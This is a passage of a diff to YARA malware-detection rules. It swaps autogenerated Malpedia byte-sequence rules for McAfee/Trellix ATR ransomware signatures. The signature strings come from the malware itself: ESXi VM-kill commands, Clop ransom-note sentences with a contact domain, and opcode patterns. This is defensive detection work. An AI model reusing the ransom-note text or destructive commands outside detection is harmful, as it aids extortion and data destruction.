2404E85D3502000F0BE8364F0400E9F1FEFFFFCC648B0D140000008B89000000003B61087606C644240C01C3 }
 
 	condition:
-		7 of them and filesize <114688
+		uint16(0)==0x5a4d and filesize <8000KB and all of them
 }
-rule MALPEDIA_Win_Tinymet_Auto : FILE
+rule TRELLIX_ARC_Ransom_Linux_Hellokitty_0721 : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a6e31398-6f4b-5407-9dd6-cb73f522ca46"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinymet_auto.yar#L1-L104"
-		license_url = "N/A"
-		logic_hash = "08c0faf51104b44743d7b565703ff1ffe8a5a90a54db8ef44d5f821b9f74a23a"
+		description = "rule to detect Linux variant of the Hello Kitty Ransomware"
+		author = "Christiaan @ ATR"
+		id = "097b02e7-93d8-5d4f-9964-7b660b3cd7b9"
+		date = "2021-07-19"
+		modified = "2021-07-19"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Linux_HelloKitty0721.yar#L1-L28"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "77a3809df4c7c591a855aaecd702af62935952937bb81661aa7f68e64dcf4fb4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		Rule_Version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:Linux/HelloKitty"
+		hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041"
+		hash2 = "556e5cb5e4e77678110961c8d9260a726a363e00bf8d278e5302cb4bfccc3eed"
 
 	strings:
-		$sequence_0 = { 68???????? e9???????? 8d45ec 6a10 50 }
-		$sequence_1 = { 8bf0 83feff 751b 68???????? e9???????? ff15???????? }
-		$sequence_2 = { 56 ff15???????? 8b4df8 03d9 85c0 75df 8bc7 }
-		$sequence_3 = { 6a00 ff35???????? ff35???????? e8???????? 83c40c a3???????? ffd0 }
-		$sequence_4 = { 8bec 81eca4010000 8d855cfeffff 53 }
-		$sequence_5 = { 6a3e 59 f7f1 8a821c104000 88041f 47 3bfe }
-		$sequence_6 = { 741d 48 7416 68???????? e8???????? }
-		$sequence_7 = { 56 57 6a5c ff30 e8???????? }
+		$v1 = "esxcli vm process kill -t=force -w=%d" fullword ascii
+		$v2 = "esxcli vm process kill -t=hard -w=%d" fullword ascii
+		$v3 = "esxcli vm process kill -t=soft -w=%d" fullword ascii
+		$v4 = "error encrypt: %s rename back:%s" fullword ascii
+		$v5 = "esxcli vm process list" fullword ascii
+		$v6 = "Total VM run on host:" fullword ascii
+		$v7 = "error lock_exclusively:%s owner pid:%d" fullword ascii
+		$v8 = "Error open %s in try_lock_exclusively" fullword ascii
+		$v9 = "Mode:%d  Verbose:%d Daemon:%d AESNI:%d RDRAND:%d " fullword ascii
+		$v10 = "pthread_cond_signal() error" fullword ascii
+		$v11 = "ChaCha20 for x86_64, CRYPTOGAMS by <appro@openssl.org>" fullword ascii
 
 	condition:
-		7 of them and filesize <57344
+		( uint16(0)==0x457f and filesize <200KB and (8 of them )) or ( all of them )
 }
-rule MALPEDIA_Win_Scieron_Auto : FILE
+rule TRELLIX_ARC_Snake_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f9adad1f-0463-5c84-9844-b56939af8a07"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scieron_auto.yar#L1-L114"
-		license_url = "N/A"
-		logic_hash = "0253954720ef9ca79516bb585b52e8d461b9169ed80f649da26edf6b8044019f"
+		description = "Rule to detect Snake ransomware"
+		author = "McAfee ATR Team"
+		id = "b8f50af5-5568-5676-93a1-e818f08df0ce"
+		date = "2020-02-20"
+		modified = "2020-10-12"
+		reference = "https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_snake_ransomware.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60"
+		logic_hash = "3ae64fbacbf886b8d09abc3f5f8eb9c8bff809909a251f2d055056e6d12217a2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/EKANS"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8bc6 ff75f8 e8???????? 59 59 }
-		$sequence_1 = { 57 ff7508 8d859cf9ffff 68???????? }
-		$sequence_2 = { 68???????? ff15???????? 50 ffd3 ffd0 807d0c02 742a }
-		$sequence_3 = { 8bec 83e4f8 b81c800000 e8???????? 53 }
-		$sequence_4 = { 897574 ff15???????? 8d4574 50 56 56 }
-		$sequence_5 = { eb65 8b4734 50 894574 8d472c 50 }
-		$sequence_6 = { 8bf8 85ff 7418 8d45fc }
-		$sequence_7 = { 40 40 663938 75df }
-		$sequence_8 = { 033e 68???????? 68???????? ff15???????? }
-		$sequence_9 = { 83a61c02000000 33c0 40 5f 5d }
+		$snake = { 43 3A 2F 55 73 ?? 72 ?? 2F 57 49 4E 31 2F 67 6F 2F 73 ?? 63 2F 6A 6F 62 6E 68 62 67 6E 6E 69 66 70 6F 64 68 68 70 ?? 6D 66 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 76 74 5F 73 74 ?? 69 6E 67 2E 67 6F 00 }
 
 	condition:
-		7 of them and filesize <100352
+		( uint16(0)==0x5a4d and filesize <11000KB) and all of them
 }
-rule MALPEDIA_Win_Vermilion_Strike_Auto : FILE
+rule TRELLIX_ARC_RANSOM_Makop : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cba78739-b046-53e4-ac8a-fb7e1edf89cf"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vermilion_strike_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "1312a531701a8eef40faaee34110290f7221a3999f3d5685ddec7e08b4b4a11d"
+		description = "Rule to detect the unpacked Makop ransomware samples"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "2828f2f9-4702-5cef-8b4e-7e98146c0332"
+		date = "2020-07-19"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_makop.yar#L1-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "008e4c327875110b96deef1dd8ef65cefa201fef60ca1cbb9ab51b5304e66fe1"
+		logic_hash = "2b4f8b90d46530421b66dbb04df6e84d268709fbee884536d8acc91e1b85f8a4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Makop"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 0f8e3f010000 56 55 8d442444 e8???????? 85ff 751b }
-		$sequence_1 = { ff15???????? 8bf7 e8???????? 8b15???????? 6a00 6a01 }
-		$sequence_2 = { 51 8d4601 e8???????? 6a30 53 8bc6 8d7c2444 }
-		$sequence_3 = { 8bd8 8beb 897c2418 85c0 7517 e8???????? 33c0 }
-		$sequence_4 = { 6a00 6a00 6a03 6a00 6a00 50 53 }
-		$sequence_5 = { 83c8ff 8bf7 c744244802000000 e8???????? 885c2440 396c2428 720d }
-		$sequence_6 = { 83c004 395e18 7205 8b7604 eb03 83c604 8b3d???????? }
-		$sequence_7 = { 8bc1 57 c746180f000000 c7461400000000 c744240400000000 c6460400 }
-		$sequence_8 = { 6a02 8bc3 7413 68???????? e8???????? 6a02 68???????? }
-		$sequence_9 = { 3bc5 7405 e8???????? 2bdf 8b542424 52 }
+		$pattern_0 = { 50 8d7c2420 e8???????? 84c0 0f84a6020000 8b742460 ba???????? }
+		$pattern_1 = { 51 52 53 ffd5 85c0 746d 8b4c240c }
+		$pattern_2 = { 7521 68000000f0 6a18 6a00 6a00 56 ff15???????? }
+		$pattern_3 = { 83c40c 8d4e0c 51 66c7060802 66c746041066 c6460820 }
+		$pattern_4 = { 51 ffd3 50 ffd7 8b4628 85c0 }
+		$pattern_5 = { 85c9 741e 8b4508 8b4d0c 8a11 }
+		$pattern_6 = { 83c002 6685c9 75f5 2bc6 d1f8 66390c46 8d3446 }
+		$pattern_7 = { 895a2c 8b7f04 85ff 0f85f7feffff 55 6a00 }
+		$pattern_8 = { 8b3d???????? 6a01 6a00 ffd7 50 ff15???????? }
+		$pattern_9 = { 85c0 7407 50 ff15???????? }
 
 	condition:
-		7 of them and filesize <540672
+		7 of them and filesize <237568
 }
-rule MALPEDIA_Win_Magala_Auto : FILE
+rule TRELLIX_ARC_Clop_Ransom_Note : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "57b76c6b-52c3-5f25-9fd2-257d2fe2adf4"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magala"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.magala_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "bd9ee6cce82c810cf18ac629b3f76ce4da7e66a1f258b71b1396e2e5be340ce0"
+		description = "Rule to detect Clop Ransomware Note"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "b18e4d4d-aa38-5009-a31b-ed038c5bd4f9"
+		date = "2019-08-01"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_ClopRansomNote.yar#L1-L34"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "a90862e9dc59b1a8f38b777b4f529d5de740d0f49175813cae64f10ca9677826"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Clop"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8b4004 838c054cffffff04 8b8538ffffff 8b4004 c6840578ffffff30 2b17 744e }
-		$sequence_1 = { 8b7dd0 3bdf 0f849d000000 33c0 c745e800000000 6aff 50 }
-		$sequence_2 = { 8bcf e8???????? 56 8bd0 c645fc0c 8d4da8 e8???????? }
-		$sequence_3 = { 8a55d8 c645fc00 83f810 7242 }
-		$sequence_4 = { e8???????? 8b4df8 83c40c 837e1410 894e10 7211 }
-		$sequence_5 = { 6685c0 75f4 a1???????? 8b550c }
-		$sequence_6 = { 6a01 50 8b08 ff513c 85c0 75b8 50 }
-		$sequence_7 = { 8995e0fdffff 8955fc 8b1d???????? 0f1f8000000000 }
-		$sequence_8 = { c745e800000000 c745ec0f000000 c645d800 e8???????? c745fc00000000 8d4e04 }
-		$sequence_9 = { e8???????? 8b4df8 b853d9de75 8b75f4 33db 2bce f7e9 }
+		$s1 = "If you want to restore your files write to emails" fullword ascii
+		$s2 = "All files on each host in the network have been encrypted with a strong algorithm." fullword ascii
+		$s3 = "Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover." fullword ascii
+		$s4 = "You will receive decrypted samples and our conditions how to get the decoder." fullword ascii
+		$s5 = "DO NOT RENAME OR MOVE the encrypted and readme files." fullword ascii
+		$s6 = "(Less than 6 Mb each, non-archived and your files should not contain valuable information" fullword ascii
+		$s7 = "We exclusively have decryption software for your situation" fullword ascii
+		$s8 = "Do not rename encrypted files." fullword ascii
+		$s9 = "DO NOT DELETE readme files." fullword ascii
+		$s10 = "Nothing personal just business" fullword ascii
+		$s11 = "eqaltech.su" fullword ascii
 
 	condition:
-		7 of them and filesize <589824
+		( uint16(0)==0x6f59) and filesize <10KB and all of them
 }
-rule MALPEDIA_Win_Nemty_Auto : FILE
+rule TRELLIX_ARC_RANSOM_Wastedlocker : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "63cde4fd-76ae-5ec0-8a56-1ffc39628f31"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nemty_auto.yar#L1-L122"
-		license_url = "N/A"
-		logic_hash = "ab3eef0d79392145b4ed1a1315366f250ca5ff150cf5d778f7e9e8528f09f4dc"
+		description = "Rule to detect unpacked samples of WastedLocker"
+		author = "McAfee ATR Team"
+		id = "900923cf-75c0-5342-858d-fe1ffa9486bd"
+		date = "2020-07-27"
+		modified = "2020-10-12"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_wastedlocker.yar#L1-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "c5adf88a46c34c8683d0e3d70529b352c77209f004e6c638ff079ea025921781"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/WastedLocker"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
+		hash1 = "ae255679f487e2e9075ffd5e8c7836dd425229c1e3bd40cfc46fbbceceec7cf4"
 
 	strings:
-		$sequence_0 = { 51 e8???????? 59 e8???????? 83c438 85c0 }
-		$sequence_1 = { 8945a4 a1???????? 59 bf???????? 8bca 83f810 7302 }
-		$sequence_2 = { 81ec18040000 a1???????? 33c5 8945fc 837d2010 8b4508 }
-		$sequence_3 = { 83781408 8b4810 57 7202 8b00 8b3d???????? 33db }
-		$sequence_4 = { 6a1c 99 5e f7fe 33db 895dd8 }
-		$sequence_5 = { 33ff e8???????? 83c61c 3b7510 75ef 6a00 }
-		$sequence_6 = { 83ec1c 8bd8 8bc4 68???????? e8???????? }
-		$sequence_7 = { 8db4248c000000 e8???????? 53 8d742454 }
-		$sequence_8 = { 7509 be???????? 85c0 7405 }
-		$sequence_9 = { 837d3810 8bf8 8b4524 59 7303 8d4524 837d3810 }
+		$pattern_0 = { 8d45fc 50 53 53 6a19 ff75f8 }
+		$pattern_1 = { 66833b00 8bf3 0f8485000000 8b7d10 8b472c 85c0 7410 }
+		$pattern_2 = { e8???????? 8b4d08 8b4518 8d0441 6683600200 83c40c 837d1400 }
+		$pattern_3 = { 8701 e9???????? 8bc7 5f 5e 5b }
+		$pattern_4 = { 8bf8 3bfb 742f 53 8d45fc 50 56 }
+		$pattern_5 = { 6a10 8d45f0 6a00 50 e8???????? 83c40c 5e }
+		$pattern_6 = { 5f 5d c20800 55 8bec }
+		$pattern_7 = { 8d7e04 ff15???????? 85c0 8945e8 740e 2b4510 }
+		$pattern_8 = { ff15???????? 8b45dc 8b4dbc 69c00d661900 055ff36e3c 8945dc }
+		$pattern_9 = { 8b4d08 8b19 03d8 f7d0 c1c60f 03f2 0bc6 }
 
 	condition:
-		7 of them and filesize <204800
+		7 of them and filesize <1806288
 }
-rule MALPEDIA_Win_Maktub_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Ransom_Black_Kingdom : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e3bef5b1-ffc5-599d-9917-312a2370b890"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maktub_auto.yar#L1-L203"
-		license_url = "N/A"
-		logic_hash = "e077a57d767e9de98d639131f563ec23078961a903d866aaf47969e99e6c3d2f"
-		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		description = "Rule to detect Black Kingdom ransomware that is spread using the latest Exchange vulns"
+		author = "McAfee ATR"
+		id = "c38e6dbf-7fb9-52f0-acd0-f824647b6041"
+		date = "2024-09-01"
+		modified = "2021-04-06"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/ransom_BlackKingDom.yar#L3-L49"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "334e84a9469367ed64509203feb61b5f64d5a7e38d29ff5c5089631246b06588"
+		score = 50
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		malware_type = "ransomware"
+		malware_family = "Ransomware:W32/BlackKingdom_March2021"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ffd0 f7d8 1bc0 f7d8 8be5 }
-		$sequence_1 = { c7450c00000000 50 6a01 56 }
-		$sequence_2 = { ff30 8b86a4000000 ffd0 8b75b4 }
-		$sequence_3 = { ff30 8b83a4000000 ffd0 8b75d4 }
-		$sequence_4 = { ff7508 ffd7 50 ffd6 53 8b5d08 6af4 }
-		$sequence_5 = { ff30 8b8690000000 6a00 ffd0 }
-		$sequence_6 = { ff30 8b4704 6a00 56 ffd0 85c0 }
-		$sequence_7 = { c74508???????? e9???????? 50 ff15???????? 85c0 7f1e a1???????? }
-		$sequence_8 = { ff7004 ff30 e8???????? 8bc7 5f 5e }
-		$sequence_9 = { f8 39dc f5 f7de }
-		$sequence_10 = { f8 57 c64424084b 88442404 }
-		$sequence_11 = { f8 60 0145e0 f8 }
-		$sequence_12 = { f8 50 55 660fa3d5 }
-		$sequence_13 = { 8d4f0c e8???????? 8d4de8 e8???????? }
-		$sequence_14 = { 8d4f04 8b01 ff7508 ff5010 8bd8 }
-		$sequence_15 = { f8 3a07 6868c51b01 8d7f01 }
-		$sequence_16 = { 8d4f04 8b45f4 8b31 2bc2 }
-		$sequence_17 = { 8d4f04 e8???????? 8d5608 8d4f08 }
-		$sequence_18 = { 8d4f08 e8???????? 8d560c 8d4f0c e8???????? }
-		$sequence_19 = { 8d4f0c e8???????? 5f 5e 5d c20400 }
-		$sequence_20 = { f8 12644a00 40 d4b5 }
-		$sequence_21 = { 8d4f10 50 e8???????? 8d45f8 }
+		$0 = {7D3F634F627C5EC4D893189F1731F624A6AD458C3D89E9CB22C69EC4B4B588B1A7307D8963EC294C5B718C3D85692B8EB1A730732F8EB16F65EA5CEC17834A665E}
+		$1 = {3E774F2038FDE77377253CD11BFEB6FB82CF6A03E1B34E134C78A2CFDC1B7CD63AD167EE4E78A227FEF694EE3369143D1B0E84CF7CDAE7C3037C263DD15B979F}
+		$2 = {0C674D0A2427CDDD9B68213EC0B4A5DF94B19D39BEC0C562346FC7A1D32C0FA5BC9D963440910709A2365360650F5A909685912220EEC0F8157B3E2B95EA2CE9}
+		$3 = {7B7251266178C52BA731333F9E8A1C327A239FB81B901BAB2755FCAFD8A753F47991516A5C98A6CAAC9A1D5065DE565D87F120B3519DD91E09D353B7120EF9F2}
+		$4 = {2E233E25767037CA68F9C0F026A5CDDCC08FC0DCE21F61C612F1983A29BD3D986F8239A7692B0EBD478B6C8115564D5B0671346CF7CDDB612247EA7A4FAA7C71}
+		$5 = {2B2C3249094C8A1A9734E7515D10F78FD1B9339DF1902AC1D4ADE70C27C8A2CA7F3416B7B9F0D10E67519D589B8AD64D6435CC2DF4C2092A4BCEF7053B194AE5}
+		$6 = {0B297C7D79ECD339B30E87775B6769909CD886D1FBBAF2041DCC4FB11B5BA777AA626A9E8CAC14F64BEA5299A8E304A22BA25FA4F7AC4B95E8ACC42EC33A3DE4}
+		$7 = {0D46503D4DFD825DED41C94C055E1FCE1134C6F63AD80DCD7427F4BD502FA186077BD22653AB098C96ECDDA26557FB82BBA053CB2067C9DEA7EE0AF6A44C468A}
+		$8 = {2E774F2038FDE77277253CD11BFEB6FB82CB6A03E1B34E134C78A2CFDC1B5CD63AD167EE4E78A227FEF694EE3269143D1B0E84CF7CDAE5C3035C263DD15B979B}
+		$9 = {5C4250510A8DEF3463BF7410DEE0E72759B8A94A4D0544BD9B4FC0846E61844F4E06B779ABF906A450F5A2AC4C57CF761798C539175F092FD2429DC27909E382}
+		$10 = {7C787B386177B4D7F1F6B9E6FE17154FF15BD9E3F1DA94A1E1064654E7500A0B86A20A4AA16BD4E16F19A8733960DE868F10F382CDEEC1F15CE718839241DA10}
+		$11 = {2C3C6F6B2E597AC746FF7664087C7E899ABCC27AC60FA545D9CF4323063896D299F57132FE3E63E567EBFADF296365A1B2C0163DD8A4F3DABA04C77FA39A99CB}
+		$12 = {7B3C5D7C73D34D1A6C66B91990D162CACD89ECEAF591AC56C95AB3151EBAC1687FB749924B7BC27917FE50CA6C1417FEDBCC5BA2B7C03B1AEE4F5732E69DAC14}
+		$13 = {406357775C42584F11A1610D3A8A31F094FA252BC3E10738BD310D536D3A2F9EC5C21996AC4DCF5237AE3A4467D5678EE2983E4282ADFB1FDEA16352109BA7A7}
+		$14 = {2F265663680CACC66731B11AA78D588D7B54AC06C6348905D6B8F52C608D8208B0C6C5F1C11A2F69608D363DFA2A365AA387DAFCC906B486548F3DA8FE36312E}
+		$15 = {2B37480D634C799C468B775404368C7B891ADE3A556DF888566EB8CB3ED6F0171B59C35BB57F3B75D9017B7C9D52D1E87F48795AA58A16695B98BAFEAF66A769}
+		$16 = {0A76372D4F488ED5649A19B42E9E42B1DCC2E62655E7041711A6235B825D791CD6519492309D46964594F78B1DCAD17A5BEA574166B8A8EB76A52CA1052D724A}
+		$17 = {3D0B635F789C6CA6ADAC549548AA509C99D0C8DD823C99704423B90175B062E70EBBA67F937D622FF41B59D21E763A26D36759F3297D12B7454D82676C5B7B4A}
+		$18 = {225B642B7A09E7B06A4D3B95D97927AC46DABAE3ECE93AA4B307259DB9C01361C905B240678DB830EB7E172EB939ECB188ED3504B3709A746772B7BC94C83FB6}
+		$19 = {27465E49761EECAF449A3AB147907CF1C3D5F161D353E236BF9940AEC099EA4AC0352576803626029A15B3E978AB84D0024A1E345FFE58A81CDA2FBD61408971}
+		$20 = {3B7431210BEE4762B447DF044B5D6F41D53824C3E2CD17A35D71029352B47DA3811C60458EAADEBA532F75C54A3DDFC74AB3BEA7A51AF81A4A688F5D7A10378C}
+		$21 = {276C41453F8F2D8279980EAD3328E2478A3D84C55EB668231A12EED150E496622FCB2C04D9CBCE257BD97B9ECE404037589A185573F936A78DA88AD43EFC3948}
+		$22 = {2727495F5B1B4D920E35A52B6A5DB6A7F8B31A26873E20C53388696567D692B4B1F4A0B9267E4BBDA1728A5E883FD69029A07669AC1D0DC22E3157C028705C19}
+		$23 = {3E5552672C26C4F22824AF196F222D370F9EEDBEF119B8C3DD96414CF3529912234CB08AA7B2A034A51635319EAC44D47FA68747BA4B2FD2A884373ADEFB5C84}
+		$24 = {20735E632C6C70375BCA935EE39B7FA508205E9CC034CBD193A0D1C1E3A9A13818B9EB7FEFB11891E71221DB7143286C7D36A91C1FF7615E38F02E5C1BA24AFF}
+		$25 = {0A3D69344860D944AA8A46908019AB085E025AA693D381A34D8DCF116B25B0C62355D93893D1F64B983986C7E956C22303A9AB109680BF4B74460C5B087412AF}
+		$26 = {7C5B79652BC66C9BC36B11730D556FFA1CA1616CA59C0C344FD1F6B50C9C259329D699CDF0B894F1540AFDC4F431957206B0748AB6AE3B9069CD91147E09709B}
+		$27 = {2257442B42DB79A5E6CAD745E9A8D9775E4216C95F6094A05F05D7DAADBB03EC4B3444983DD291C2E32FC39299BCB4D22219386E75DAABB8D2EA93DFC52A248B}
+		$28 = {3C0D4A68792594D2F23F10A465B38B75D272318CA0E532A8A183F8CE5DEE6B45ECFDC96E4FF9158832472ED8CDFA69F92868A503F821D848CBB97B58332D8F84}
 
 	condition:
-		7 of them and filesize <3063808
+		uint16(0)==0x5a4d and all of them
 }
-rule MALPEDIA_Win_Bouncer_Auto : FILE
+rule TRELLIX_ARC_MALW_Thiefquest : KEYLOGGER BACKDOOR RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "87d70146-e2c3-5ac4-84a7-b98c5e250ffd"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bouncer_auto.yar#L1-L121"
-		license_url = "N/A"
-		logic_hash = "5df724a9e6c42e3be58b79859bcd4fd49abf6f303058e1f4cc9822918e05c24a"
+		description = "Rule to detect the Evilquest/ThiefQuest malware"
+		author = "McAfee ATR Team"
+		id = "09b074f7-6899-574d-a7d6-4414509aaa78"
+		date = "2020-07-09"
+		modified = "2020-10-12"
+		reference = "https://www.bleepingcomputer.com/news/security/thiefquest-ransomware-is-a-file-stealing-mac-wiper-in-disguise/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_thiefquest.yar#L1-L46"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5a024ffabefa6082031dccdb1e74a7fec9f60f257cd0b1ab0f698ba2a5baca6b"
